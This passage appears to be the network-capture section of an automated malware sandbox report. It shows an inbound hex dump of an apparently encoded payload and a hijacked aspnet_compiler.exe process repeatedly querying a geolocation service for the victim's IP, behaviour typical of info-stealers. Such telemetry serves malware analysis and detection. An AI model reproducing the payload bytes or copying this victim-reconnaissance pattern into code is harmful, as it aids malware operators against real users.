cfL4;desc="?proto=TCP&rtt=1686&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=712&delivery_rate=1615044&cwnd=223&unsent_bytes=0&cid=d577541a4244a320&ts=790&x=0"
2024-11-20 07:18:13 UTC	120	IN	Data Raw: 7c 6e a1 31 37 31 31 34 35 31 34 31 ce cb 31 31 8c 31 31 34 31 31 34 31 71 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 b1 34 31 31 3a 2e 8b 3a 31 85 3d fc 10 8c 30 7d f9 10 65 5c 58 42 14 41 43 5b 56 43 55 5c 11 57 50 5f 5a 5e 45 14 53 54 14 43 44 5a 11 58 5a 11 75 7b 62 11 59 5e 55 51 1f 3c 39 3b Data Ascii: \|n171145141111141141q41141141141141141141141141141141141411:.:1=0}e\XBAC[VCU\WP_Z^ESTCDZXZu{bY^UQ<9;
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 15 34 31 31 34 31 31 34 61 74 34 31 7d 35 32 31 a8 c6 f6 cb 31 31 34 31 31 34 31 31 d4 31 3f 15 3a 30 04 31 31 7e 21 31 34 37 31 34 31 31 34 31 9f 5d 21 31 34 11 31 34 31 b1 24 31 31 34 71 31 34 11 31 34 31 33 34 31 35 34 31 31 34 31 31 34 35 31 34 31 31 34 31 31 34 f1 21 34 31 33 34 31 31 34 31 31 37 31 71 b1 31 31 24 31 31 24 31 31 34 31 21 34 31 21 34 31 31 34 31 31 3b 31 31 34 31 31 34 31 31 34 31 31 54 58 21 34 7a 31 34 31 31 b4 21 31 10 32 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 94 21 31 38 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 31 34 31 11 34 31 39 34 31 31 34 31 31 34 31 31 34 31 39 14 31 31 7c 31 31 34 31 31 34 31 31 34 31 Data Ascii: 4114114at41}521114114111?:011~!147141141]!14141$114q1414134154114114514114114!41341141171q11$11$1141!41!411411;11411411411TX!4z1411!121411411411411411411!18114114114114114114114114114114114114114114114114114141941141141141911\|1141141141
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 34 26 1b 75 2d 31 34 31 31 34 31 54 34 31 31 b6 30 31 34 d6 30 34 31 08 34 31 31 23 31 31 35 22 01 30 31 35 34 31 31 34 31 31 34 31 31 23 1b 22 04 32 31 30 31 31 34 31 31 34 31 31 34 31 1b 27 01 32 34 35 31 34 31 31 34 31 31 34 31 31 1e 22 01 37 31 b1 34 31 31 35 31 31 25 19 fa 36 31 37 14 33 31 34 31 cf 3a 31 31 0c 31 31 34 31 cf 38 31 31 71 32 31 34 31 1f 34 31 31 1b 31 31 34 34 31 34 31 09 1d 31 31 34 4f b0 36 31 35 1c b6 36 34 37 11 35 31 31 34 4f 57 36 31 35 4f 27 33 34 35 0b f8 ce ce cb 17 11 35 31 31 34 09 f0 cb ce ce 1e 4f b3 36 31 35 1c ba 36 34 37 11 34 31 31 34 4f 57 36 31 35 4f 56 33 34 35 0b 96 ce ce cb 17 11 34 31 31 34 09 a6 cb ce ce 26 31 31 23 1b 31 34 31 23 34 31 25 1e 31 31 34 22 01 37 31 b1 34 31 31 35 31 31 25 19 fa 36 31 37 14 33 31 Data Ascii: 4&u-141141T411014041411#115"015411411411#"2101141141141'2451411411411"71411511%6173141:111141811q21414111144141114O6156475114OW615O'3455114O6156474114OW615OV3454114&11#141#41%114"71411511%61731
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 31 37 4a b3 33 34 35 19 bf 36 31 32 1b 31 5e 19 fa 36 31 37 4a b0 33 34 35 19 b3 36 31 32 4f b3 36 31 35 1c ba 36 34 37 1b 34 5b 19 ff 33 31 32 4f b0 36 31 35 1c b6 36 34 37 4f b6 33 31 30 19 ba 33 31 37 1e 31 5b 1c fa 33 34 37 4f b5 33 31 30 19 b6 33 31 37 4a b3 33 34 35 19 bf 36 31 32 1b 31 5e 19 fa 36 31 37 4a b0 33 34 35 19 b3 36 31 32 4f b3 36 31 35 1c ba 36 34 37 1b 34 5b 19 ff 33 31 32 4f b0 36 31 35 1c b6 36 34 37 4f b6 33 31 30 19 ba 33 31 37 1e 31 5b 1c fa 33 34 37 4f b5 33 31 30 19 b6 33 31 37 4a b3 33 34 35 19 bf 36 31 32 1b 31 5e 19 fa 36 31 37 4a b0 33 34 35 19 b3 36 31 32 4f b3 36 31 35 1c ba 36 34 37 1b 34 5b 19 ff 33 31 32 4f b0 36 31 35 1c b6 36 34 37 4f b6 33 31 30 19 ba 33 31 37 1e 31 5b 1c fa 33 34 37 4f b5 33 31 30 19 b6 33 31 37 4a Data Ascii: 17J3456121^617J345612O6156474[312O615647O3103171[347O310317J3456121^617J345612O6156474[312O615647O3103171[347O310317J3456121^617J345612O6156474[312O615647O3103171[347O310317J
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 31 34 31 31 1e 22 01 30 31 35 34 31 31 34 31 31 34 31 31 20 1b 22 04 32 31 30 31 31 34 31 31 34 31 31 34 25 1b 27 01 32 34 35 31 34 31 31 34 31 31 34 31 31 1e 22 01 31 31 35 34 31 31 34 31 31 34 31 31 20 1b 22 04 32 31 b4 31 31 34 30 31 34 20 19 ff 33 31 32 11 30 34 31 31 ca 3f 31 34 09 31 34 31 31 ca 3d 31 34 74 32 34 31 31 1a 31 31 34 34 31 34 31 66 34 31 31 0c 18 31 34 31 4f b5 33 31 30 19 b6 33 31 37 14 31 31 34 31 4f 52 33 31 30 4a 4d 36 31 35 0d fd ce cb ce 17 14 31 31 34 31 09 f5 ce ce cb 4f b3 36 31 35 1c ba 36 34 37 11 34 31 31 34 4f 57 36 31 35 4f 19 33 34 35 0b 97 ce ce cb 17 11 36 31 31 34 09 a9 cb ce ce 1e 23 31 34 26 1b 34 31 31 26 31 31 20 1b 31 34 31 23 34 31 25 1e 31 31 34 22 01 37 31 35 34 31 31 34 31 31 34 31 31 34 1b 23 34 31 25 1e 31 Data Ascii: 1411"015411411411 "210114114114%'2451411411411"115411411411 "21114014 3120411?141411=14t24111144141f411141O3103171141OR310JM6151141O6156474114OW615O3456114#14&411&11 141#41%114"7154114114114#41%1
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 26 31 31 20 1b 31 34 31 22 04 32 31 30 31 31 34 31 31 34 31 31 34 31 1b 26 31 31 20 1b 31 34 31 22 04 32 31 30 31 31 34 31 31 34 31 31 34 31 1b 26 31 31 20 1b 31 34 31 22 04 32 31 30 31 31 34 31 31 34 31 31 34 31 1b 26 31 31 20 1b 31 34 31 22 04 32 31 30 31 31 34 31 31 34 31 31 34 31 1b 27 01 32 34 35 31 34 31 31 34 31 31 34 31 31 1e 22 01 37 31 b1 34 31 31 35 31 31 25 19 fa 36 31 37 14 33 31 34 31 cf 3a 31 31 0c 31 31 34 31 cf 38 31 31 71 32 31 34 31 66 34 31 31 1a 31 31 34 34 31 34 31 09 66 31 31 34 4f b0 36 31 35 1c b6 36 34 37 11 35 31 31 34 4f 57 36 31 35 4f 5a 33 34 35 08 f8 ce ce cb 17 11 34 31 31 34 09 f0 cb ce ce 4a b3 33 34 35 19 bf 36 31 32 11 31 34 31 31 4a 57 33 34 35 4a 6c 33 31 30 0b 92 cb ce ce 12 11 31 34 31 31 0c a9 ce cb ce 1b 26 31 31 Data Ascii: &11 141"2101141141141&11 141"2101141141141&11 141"2101141141141&11 141"2101141141141'2451411411411"71411511%6173141:111141811q2141f4111144141f114O6156475114OW615OZ3454114J3456121411JW345Jl3101411&11
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: ce ce cb 17 11 34 31 31 34 09 a9 cb ce ce 1e 23 31 34 26 1b 34 31 31 26 31 31 20 1b 31 34 31 32 04 39 31 30 31 31 34 31 31 34 31 31 34 31 1b 35 21 31 34 31 31 a1 31 b6 28 30 08 23 31 31 35 32 01 3c 31 35 34 31 31 34 31 31 34 31 31 20 1b 30 28 31 31 34 31 8f 34 79 37 35 08 26 34 31 30 36 31 40 35 ba cd 35 4d 31 34 31 31 27 01 32 34 35 31 34 31 31 34 31 31 34 31 31 1e 22 01 37 31 b1 34 31 31 35 31 31 25 19 fa 36 31 37 14 33 31 34 31 cf 3a 31 31 0c 31 31 34 31 cf 38 31 31 71 32 31 34 31 34 34 31 31 32 31 31 34 1e 31 34 31 09 34 31 31 34 1b 4f b6 33 31 30 19 ba 33 31 37 14 31 31 34 31 4f 52 33 31 30 4a 44 36 31 35 0e fa ce cb ce 17 14 31 31 34 31 09 f4 ce ce cb 4f b0 36 31 35 1c b6 36 34 37 11 35 31 31 34 4f 57 36 31 35 4f 52 33 34 35 08 96 ce ce cb 17 11 34 Data Ascii: 4114#14&411&11 141291011411411415!14111(0#1152<15411411411 0(11414y75&41061@55M1411'2451411411411"71411511%6173141:111141811q2141441121141414114O3103171141OR310JD6151141O6156475114OW615OR3454
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 31 25 19 fa 36 31 37 14 33 31 34 31 cf 3a 31 31 0c 31 31 34 31 cf 38 31 31 71 32 31 34 31 66 34 31 31 1a 31 31 34 34 31 34 31 09 66 31 31 34 4f b0 36 31 35 1c b6 36 34 37 11 35 31 31 34 4f 57 36 31 35 4f 79 33 34 35 08 f8 ce ce cb 17 11 34 31 31 34 09 f0 cb ce ce 4a b3 33 34 35 19 bf 36 31 32 11 31 34 31 31 4a 57 33 34 35 4a 11 33 31 30 0b 92 cb ce ce 12 11 31 34 31 31 0c a9 ce cb ce 1b 26 31 31 23 1b 31 34 31 23 34 31 25 1e 31 31 34 32 01 3c 31 35 34 31 31 34 31 31 34 31 31 23 1b 70 28 31 31 34 31 31 34 90 31 34 31 72 36 31 31 d0 33 31 34 0b 31 34 31 2a 34 31 30 27 01 32 34 b1 31 34 31 30 34 31 20 1c fa 33 34 37 11 35 31 31 34 cf 3f 34 31 09 34 31 31 34 cf 3d 34 31 74 37 31 31 34 1f 31 34 31 34 34 31 31 63 31 31 34 09 18 34 31 31 4a b0 33 34 35 19 b3 36 Data Ascii: 1%6173141:111141811q2141f4111144141f114O6156475114OW615Oy3454114J3456121411JW345J3101411&11#141#41%1142<15411411411#p(114114141r611314141*410'24141041 3475114?414114=41t71141414411c114411J3456
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 71 32 31 34 31 34 34 31 31 1b 31 31 34 37 31 34 31 09 34 31 31 34 1b 4f b5 33 31 30 19 b6 33 31 37 14 31 31 34 31 4f 52 33 31 30 4a 47 36 31 35 0d fa ce cb ce 17 14 30 31 34 31 09 f4 ce ce cb 4f b3 36 31 35 1c ba 36 34 37 11 34 31 31 34 4f 57 36 31 35 4f 2c 33 34 35 0b 96 ce ce cb 17 11 34 31 31 34 09 a6 cb ce ce 26 31 31 23 1b 31 34 31 23 34 31 25 1e 31 31 34 23 31 34 27 1b 34 31 31 27 01 32 34 b1 31 34 31 30 34 31 20 1c fa 33 34 37 11 35 31 31 34 cf 3f 34 31 09 34 31 31 34 cf 3d 34 31 74 37 31 31 34 34 31 34 31 1e 34 31 31 1a 31 31 34 09 31 34 31 31 4a b3 33 34 35 19 bf 36 31 32 11 33 34 31 31 4a 57 33 34 35 4a 31 33 31 30 0b fd cb ce ce 12 11 33 34 31 31 0c f0 ce cb ce 1b 4a b0 33 34 35 19 b3 36 31 32 11 31 34 31 31 4a 57 33 34 35 4a 11 33 31 30 0b 93 Data Ascii: q2141441111471414114O3103171141OR310JG6150141O6156474114OW615O,3454114&11#141#41%114#14'411'24141041 3475114?414114=41t711441414111141411J3456123411JW345J13103411J3456121411JW345J310
2024-11-20 07:18:13 UTC	1369	IN	Data Raw: 31 31 34 31 01 34 31 31 46 33 31 34 93 33 34 31 08 34 31 31 23 31 31 35 22 01 37 31 35 34 31 31 34 31 31 34 31 31 34 1b 22 04 32 31 b4 31 31 34 30 31 34 20 19 ff 33 31 32 11 33 34 31 31 ca 3f 31 34 09 31 34 31 31 ca 3d 31 34 74 32 34 31 31 31 31 31 34 37 31 34 31 1e 34 31 31 0c 31 31 34 31 1b 4a b3 33 34 35 19 bf 36 31 32 11 31 34 31 31 4a 57 33 34 35 4a 0d 33 31 30 0b fa cb ce ce 12 11 31 34 31 31 0c f1 ce cb ce 4f b5 33 31 30 19 b6 33 31 37 14 30 31 34 31 4f 52 33 31 30 4a 6b 36 31 35 0e 93 ce cb ce 17 14 30 31 34 31 09 a3 ce ce cb 13 31 20 94 15 34 31 30 1e 31 31 34 32 01 3d 31 39 34 31 31 34 31 31 34 31 25 91 15 31 34 30 1b 26 31 31 23 1b 31 34 31 23 34 31 26 1e 31 31 34 23 31 34 25 1b 34 31 31 37 01 39 34 35 31 34 31 31 34 31 31 34 31 31 1e 70 2d 34 Data Ascii: 1141411F314341411#115"7154114114114"21114014 3123411?141411=14t2411111471414111141J3456121411JW345J3101411O3103170141OR310Jk61501411 4101142=1941141141%140&11#141#41&114#14%41179451411411411p-4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:01 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 07:19:01 UTC	848	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:01 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51050 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B0P18bdRJbFCrmik73R3bwnKkGp5LIMyzldpcRuTjQtV9YuH%2BzOm02pwadrSYdtaF38YivTZEGBKp%2FJ1R9Esuy4gKQsotVv5jiRQznWJD95a60TAJfshEowesE7gqCYevqlZiJMd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab59d8246a52-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1696687&cwnd=205&unsent_bytes=0&cid=babbba150893012e&ts=231&x=0"
2024-11-20 07:19:01 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:02 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 07:19:02 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:02 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51051 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pL2zLdAjK%2BFx4sogOMuMkuqbnnMt7n3fppJUHm2Rqsk%2BsEfsVlvhJtRcmW19zsNJFDbmBz5QLWL8NLsXrOcYkNc99YZ3PCA%2BmUqGbqEaNdBDBbMMaUIP6jf%2BntsPkh6tCN2MHdMb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab608957333c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2031&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1447694&cwnd=247&unsent_bytes=0&cid=3c8e9631adf34ee0&ts=160&x=0"
2024-11-20 07:19:02 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:03 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 07:19:03 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:03 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51052 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0qnE5qpJdRVDxKsz3b4EBmKwGYXq%2B6NmQpp6VJo3mRiTwLnAXf%2BQjXmZpUwcGXkILTMvjT5%2FWJYfdEiWhiHgYV5oZGyHYHVHmcpSKYGTx6wGzd4Iqw7WaNt25DgxhiRSouCuMrLy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab686fc1c360-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1468&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=698&delivery_rate=1891191&cwnd=138&unsent_bytes=0&cid=db1a8002970e5105&ts=149&x=0"
2024-11-20 07:19:03 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49752	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:05 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 07:19:05 UTC	856	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:05 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51054 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tDfqdZ7zIH7H7hhoACAujs6UA9Tpku9Kr4SV%2BjtHGxYecaVE7vwVOv93FEba9%2FjdsddBrBH%2FOG7kdgy1AdukAWo%2FgHglHOftjwJC%2Bd0PxpnlmyD3J8%2BeOInGh6R6Nl1vqTuB6vc1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab714a4a5e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2116&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1400479&cwnd=221&unsent_bytes=0&cid=e2288ccb8e2f0ad8&ts=159&x=0"
2024-11-20 07:19:05 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49764	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:06 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 07:19:06 UTC	864	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:06 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51055 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2I%2FW%2B%2Fgif9r44zRBWt%2Fz%2BkeAtyKmUJbjymvhFABxd8lofH%2BSICHR5hzB%2FKCPRS201sHgRNccs3VFGMoSsCj%2Fti4nAdW%2FIm4ugmfiTLHWl7Lveq5vXxcO%2FwzjUQsAQQlv7EZSRt2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab7909db42f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1629&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1821584&cwnd=227&unsent_bytes=0&cid=cd8562c27dc3fd79&ts=136&x=0"
2024-11-20 07:19:06 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49770	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:07 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 07:19:07 UTC	860	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:07 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51056 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FAhgrQfxhTXnTdgHxb3icuqgS4czhMrLvTgE3l2C7lx%2BRzwFI%2BTi%2BEZyuGQVJuhsSu9la72ndwyGdw1qotsuEJPrsYcV0rZ41swI%2BMM%2BlMQm2vr5KZ62BhaxGqqCJZSwbm%2FNl%2FM9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab81289f32fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1993&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1454907&cwnd=240&unsent_bytes=0&cid=1b085f7eca3054dc&ts=153&x=0"
